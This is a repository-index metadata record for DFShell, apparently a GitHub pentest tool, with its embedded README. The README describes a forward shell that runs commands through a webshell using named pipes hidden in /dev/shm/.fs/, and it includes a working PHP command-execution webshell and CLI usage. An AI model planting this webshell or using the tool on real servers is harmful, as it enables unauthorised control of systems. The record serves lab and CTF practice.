{"id":13845155,"url":"https://github.com/D3Ext/DFShell","last_synced_at":"2025-07-12T01:31:46.739Z","repository":{"id":48132702,"uuid":"516154036","full_name":"D3Ext/DFShell","owner":"D3Ext","description":"D3Ext's Forward Shell  ","archived":false,"fork":false,"pushed_at":"2023-10-15T17:49:17.000Z","size":6385,"stargazers_count":120,"open_issues_count":0,"forks_count":19,"subscribers_count":4,"default_branch":"main","last_synced_at":"2025-06-12T09:05:17.935Z","etag":null,"topics":["forward-shell","hacking","hackthebox","kali-linux","offensive-security","oscp","pentest","python","python3","webshell"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/D3Ext.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-07-20T22:39:48.000Z","updated_at":"2025-03-03T09:53:11.000Z","dependencies_parsed_at":"2024-11-21T18:33:08.126Z","dependency_job_id":"c977fd02-2c7e-441c-928c-8f0f922ad22d","html_url":"https://github.com/D3Ext/DFShell","commit_stats":{"total_commits":35,"total_committers":1,"mean_commits":35.0,"dds":0.0,"last_synced_commit":"95035ef929c8805416c9272568b78679f6d98e5e"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/D3Ext/DFShell","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/D3Ext%2FDFShell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/D3Ext%2FDFShell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/D3Ext%2FDFShell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/D3Ext%2FDFShell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/D3Ext","download_url":"https://codeload.github.com/D3Ext/DFShell/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/D3Ext%2FDFShell/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264923080,"owners_count":23683716,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["forward-shell","hacking","hackthebox","kali-linux","offensive-security","oscp","pentest","python","python3","webshell"],"created_at":"2024-08-04T17:03:14.621Z","updated_at":"2025-07-12T01:31:46.271Z","avatar_url":"https://github.com/D3Ext.png","language":"Python","readme":"```\n██████╗ ███████╗███████╗██╗  ██╗███████╗██╗     ██╗     \n██╔══██╗██╔════╝██╔════╝██║  ██║██╔════╝██║     ██║     \n██║  ██║█████╗  ███████╗███████║█████╗  ██║     ██║     \n██║  ██║██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     \n██████╔╝██║     ███████║██║  ██║███████╗███████╗███████╗\n╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                      \n```\n\n# Introduction\n\n***D3Ext's Forward Shell*** it's a python3 script which use mkfifo to simulate a shell into the victim machine. It creates a hidden directory in /dev/shm/.fs/ where the fifos are stored. You can even simulate a TTY over the webshell.\n\n# Explanation\n\nThis forward shell creates a shell that accepts commands via a ***Named Pipe (mkfifo)*** and outputs the results to a file. By doing this the shell does not require a persistent network connection so you can establish a proper TTY behind a firewall that blocks reverse/bind shells.\n\n1. Create a named pipe on target server\n2. Read and execute commands received from named pipe\n3. Save STDOUT and STDERR to output file\n4. Return to 2nd step and read from named pipe again\n\n# Features\n\n- Fast and configurable\n- Integrated powerful commands\n- Interactive TTY shell\n\n# Installation\n\n\u003e Install from source\n```sh\ngit clone https://github.com/D3Ext/DFShell\ncd DFShell\npip3 install -r requirements.txt\n```\n\n\u003e Install with pip\n```sh\npip3 install dfshell\n```\n\n# Usage\n\n***DFShell*** has a variety of CLI parameters to improve configuration of the forward shell.\n\n\u003e Help panel\n```\nusage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]\n\nD3Ext's Forward Shell - Enhanced forward shell with integrated commands\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     url of the webshell (i.e. http://10.10.10.10/webshell.php)\n  -p PARAMETER, --parameter PARAMETER\n                        parameter of the webshell to execute commands (i.e. cmd)\n  -t TIMEOUT, --timeout TIMEOUT\n                        timeout of requests that execute commands (default 20s)\n  --path PATH           path in which to create named pipes (default /dev/shm/.fs)\n  -v VERBOSE, --verbose VERBOSE\n                        print more information\n```\n\nIt sends GET requests to given URL, so the webshell should be something like this:\n\n```php\n\u003c?php\n  if(isset($_REQUEST['cmd']))\n  {\n    system($_REQUEST['cmd']);\n  }\n?\u003e\n```\n\nTested on ***Parrot OS*** with an Apache server\n\nIf you want to test this tool in controlled environments, here is a list of HackTheBox machines in which firewall rules are applied on web server, so forward shell is a great alternative to directly go through privilege escalation.\n\n- ***Inception***\n- ******\n- ******\n- ******\n- ******\n\n# Demo\n\n\u003cimg src=\"https://raw.githubusercontent.com/D3Ext/DFShell/main/images/demo1.png\"\u003e\n\n\u003cimg src=\"https://raw.githubusercontent.com/D3Ext/DFShell/main/images/demo2.png\"\u003e\n\n\u003cimg src=\"https://raw.githubusercontent.com/D3Ext/DFShell/main/images/demo3.png\"\u003e\n\n# References\n\nThanks to @ippsec for this awesome technique\n\n```\nhttps://github.com/IppSec/forward-shell\nhttps://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell\nhttps://www.f5.com/labs/learning-center/forward-and-reverse-shells\nhttps://github.com/Hypnoze57/FShell\nhttps://s4vitar.github.io/ttyoverhttp/\n```\n\n# Contributing\n\nSee [CONTRIBUTING.md](https://github.com/D3Ext/DFShell/blob/main/CONTRIBUTING.md)\n\n# Changelog\n\nSee [CHANGELOG.md](https://github.com/D3Ext/DFShell/blob/main/CHANGELOG.md)\n\n# License\n\nThis project is under MIT license\n\nCopyright © 2023, *D3Ext*\n\n# Support\n\n\u003ca href=\"https://www.buymeacoffee.com/D3Ext\" target=\"_blank\"\u003e\u003cimg src=\"https://cdn.buymeacoffee.com/buttons/v2/default-blue.png\" alt=\"Buy Me A Coffee\" style=\"height: 60px !important;width: 217px !important;\" \u003e\u003c/a\u003e\n\n\n\n","funding_links":["https://www.buymeacoffee.com/D3Ext"],"categories":["Python"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FD3Ext%2FDFShell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FD3Ext%2FDFShell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FD3Ext%2FDFShell/lists"}